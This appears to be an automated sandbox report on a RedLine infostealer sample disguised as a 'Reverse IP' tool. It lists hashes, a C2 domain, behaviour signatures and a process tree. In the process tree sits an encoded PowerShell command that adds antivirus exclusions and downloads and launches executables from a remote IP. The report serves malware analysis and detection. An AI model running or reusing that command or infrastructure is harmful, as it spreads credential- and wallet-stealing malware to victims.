Analysis

  • max time kernel
    123s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-08-2022 18:38

General

  • Target

    Reverse IP By Mf4Tn.exe

  • Size

    9.3MB

  • MD5

    086fb3b0ff1e3c6c351bd9e82465d395

  • SHA1

    c02cdb69a41e442b7200bb7b1d191e8cd005a015

  • SHA256

    f0fb578438edc3150919407abfc8ad167079ec3ac86bc84c3f93b2aa22fc73e8

  • SHA512

    b284e55632d2bfea8ae87a36a1f3805b17fa26e944230b9f16b08f50ec93eb29d19d692f1a71c50e63897f4d95f473ab89e0cc3390289d39bc6bf8381ba85116

Malware Config

Extracted

Family

redline

Botnet

1877

C2

overthinker1877.duckdns.org:60732

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 34 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Reverse IP By Mf4Tn.exe
    "C:\Users\Admin\AppData\Local\Temp\Reverse IP By Mf4Tn.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:976
    • C:\Users\Admin\AppData\Local\Temp\svschosts.exe
      "C:\Users\Admin\AppData\Local\Temp\svschosts.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4860
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAegBzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawB4AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQBoAGYAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdABnAGoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADMALgA5ADAALgAxADIAOAAuADIANQAzAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcALAAgADwAIwB1AG0AcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAbQBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG4AbABxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQApADwAIwBrAGoAcAAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQAzAC4AOQAwAC4AMQAyADgALgAyADUAMwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACwAIAA8ACMAeABsAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAbQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB2AGEAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACkAKQA8ACMAbABzAGQAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAMwAuADkAMAAuADEAMgA4AC4AMgA1ADMALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcwB2AGMAaABvAHMAdAAuAGUAeABlACcALAAgADwAIwB1AHcAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHoAdQB5ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGQAdgBtACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAKQA8ACMAeABjAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBoAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHYAcABwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAcAB4AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwByAGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AagB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAaABtAGwAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbAB3AGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGEAYQBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAPAAjAGEAcwBrACMAPgA="
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3352
        • C:\Users\Admin\AppData\Local\Temp\svchosts.exe
          "C:\Users\Admin\AppData\Local\Temp\svchosts.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1748
        • C:\Users\Admin\AppData\Roaming\svchost.exe
          "C:\Users\Admin\AppData\Roaming\svchost.exe"
          4⤵
          • Executes dropped EXE
          PID:4172
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 976 -s 1568
      2⤵
      • Program crash
      PID:1200
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 976 -ip 976
    1⤵
      PID:3584
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 536 -p 4256 -ip 4256
      1⤵
        PID:4316
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 4256 -s 836
        1⤵
        • Program crash
        PID:488
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /4
        1⤵
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4540

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Credential Access

      Credentials in Files

      2
      T1081

      Discovery

      Query Registry

      3
      T1012

      System Information Discovery

      3
      T1082

      Peripheral Device Discovery

      1
      T1120

      Collection

      Data from Local System

      2
      T1005

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\svchosts.exe
        Filesize

        205KB

        MD5

        b3503746bb7f1d30755c9f4a26ce0a2c

        SHA1

        2490c2a6b3fad0711993c8bb16aab2d21cefac6f

        SHA256

        90706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300

        SHA512

        142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c

      • C:\Users\Admin\AppData\Local\Temp\svchosts.exe
        Filesize

        205KB

        MD5

        b3503746bb7f1d30755c9f4a26ce0a2c

        SHA1

        2490c2a6b3fad0711993c8bb16aab2d21cefac6f

        SHA256

        90706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300

        SHA512

        142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c

      • C:\Users\Admin\AppData\Local\Temp\svschosts.exe
        Filesize

        6KB

        MD5

        732e2530c727f4d8524e2163e02e3365

        SHA1

        8ecb098af3335761097a71911e12eb3ca4e5e350

        SHA256

        28cf9214549a31d152776af79a8bcc1d1e7c2e1f0288c8d7615d754fc0d21ceb

        SHA512

        6a2321bd128c404cc7b15613fe974c8368fef4aedd6e6bcf07ca2f2fb2f15d82d442b22769f5202471e29a978da1232a72759e8ba050ff007e950cca9ca6933f

      • C:\Users\Admin\AppData\Local\Temp\svschosts.exe
        Filesize

        6KB

        MD5

        732e2530c727f4d8524e2163e02e3365

        SHA1

        8ecb098af3335761097a71911e12eb3ca4e5e350

        SHA256

        28cf9214549a31d152776af79a8bcc1d1e7c2e1f0288c8d7615d754fc0d21ceb

        SHA512

        6a2321bd128c404cc7b15613fe974c8368fef4aedd6e6bcf07ca2f2fb2f15d82d442b22769f5202471e29a978da1232a72759e8ba050ff007e950cca9ca6933f

      • C:\Users\Admin\AppData\Roaming\svchost.exe
        Filesize

        14KB

        MD5

        1937d5a853734874a0ef18d4acc43113

        SHA1

        37c4f8d0c6fea50f836c0a308b06de910205189a

        SHA256

        88e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64

        SHA512

        e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28

      • C:\Users\Admin\AppData\Roaming\svchost.exe
        Filesize

        14KB

        MD5

        1937d5a853734874a0ef18d4acc43113

        SHA1

        37c4f8d0c6fea50f836c0a308b06de910205189a

        SHA256

        88e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64

        SHA512

        e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28

      • memory/976-133-0x00000000000C0000-0x0000000000A08000-memory.dmp
        Filesize

        9.3MB

      • memory/1748-167-0x00000000051B0000-0x00000000051EC000-memory.dmp
        Filesize

        240KB

      • memory/1748-156-0x0000000000000000-mapping.dmp
      • memory/1748-166-0x0000000002AC0000-0x0000000002AD2000-memory.dmp
        Filesize

        72KB

      • memory/1748-168-0x0000000005420000-0x000000000552A000-memory.dmp
        Filesize

        1.0MB

      • memory/1748-165-0x0000000005790000-0x0000000005DA8000-memory.dmp
        Filesize

        6.1MB

      • memory/1748-163-0x00000000008B0000-0x00000000008E8000-memory.dmp
        Filesize

        224KB

      • memory/1748-169-0x0000000006630000-0x00000000066A6000-memory.dmp
        Filesize

        472KB

      • memory/1748-170-0x0000000006920000-0x000000000693E000-memory.dmp
        Filesize

        120KB

      • memory/1748-171-0x0000000008190000-0x0000000008352000-memory.dmp
        Filesize

        1.8MB

      • memory/1748-172-0x0000000008890000-0x0000000008DBC000-memory.dmp
        Filesize

        5.2MB

      • memory/3352-143-0x00000000067B0000-0x00000000067CE000-memory.dmp
        Filesize

        120KB

      • memory/3352-142-0x00000000060E0000-0x0000000006146000-memory.dmp
        Filesize

        408KB

      • memory/3352-152-0x0000000007E10000-0x0000000007E2A000-memory.dmp
        Filesize

        104KB

      • memory/3352-153-0x0000000007E00000-0x0000000007E08000-memory.dmp
        Filesize

        32KB

      • memory/3352-154-0x0000000007E80000-0x0000000007EA2000-memory.dmp
        Filesize

        136KB

      • memory/3352-155-0x0000000008D00000-0x00000000092A4000-memory.dmp
        Filesize

        5.6MB

      • memory/3352-150-0x0000000007D20000-0x0000000007DB6000-memory.dmp
        Filesize

        600KB

      • memory/3352-149-0x0000000007AD0000-0x0000000007ADA000-memory.dmp
        Filesize

        40KB

      • memory/3352-137-0x0000000000000000-mapping.dmp
      • memory/3352-148-0x0000000007A70000-0x0000000007A8A000-memory.dmp
        Filesize

        104KB

      • memory/3352-147-0x00000000080D0000-0x000000000874A000-memory.dmp
        Filesize

        6.5MB

      • memory/3352-138-0x00000000030D0000-0x0000000003106000-memory.dmp
        Filesize

        216KB

      • memory/3352-146-0x0000000006CD0000-0x0000000006CEE000-memory.dmp
        Filesize

        120KB

      • memory/3352-145-0x000000006F180000-0x000000006F1CC000-memory.dmp
        Filesize

        304KB

      • memory/3352-139-0x0000000005950000-0x0000000005F78000-memory.dmp
        Filesize

        6.2MB

      • memory/3352-144-0x0000000006CF0000-0x0000000006D22000-memory.dmp
        Filesize

        200KB

      • memory/3352-151-0x0000000007DC0000-0x0000000007DCE000-memory.dmp
        Filesize

        56KB

      • memory/3352-141-0x0000000006070000-0x00000000060D6000-memory.dmp
        Filesize

        408KB

      • memory/3352-140-0x0000000005810000-0x0000000005832000-memory.dmp
        Filesize

        136KB

      • memory/4172-164-0x0000000006400000-0x0000000006492000-memory.dmp
        Filesize

        584KB

      • memory/4172-161-0x0000000000F80000-0x0000000000F8A000-memory.dmp
        Filesize

        40KB

      • memory/4172-158-0x0000000000000000-mapping.dmp
      • memory/4860-134-0x0000000000000000-mapping.dmp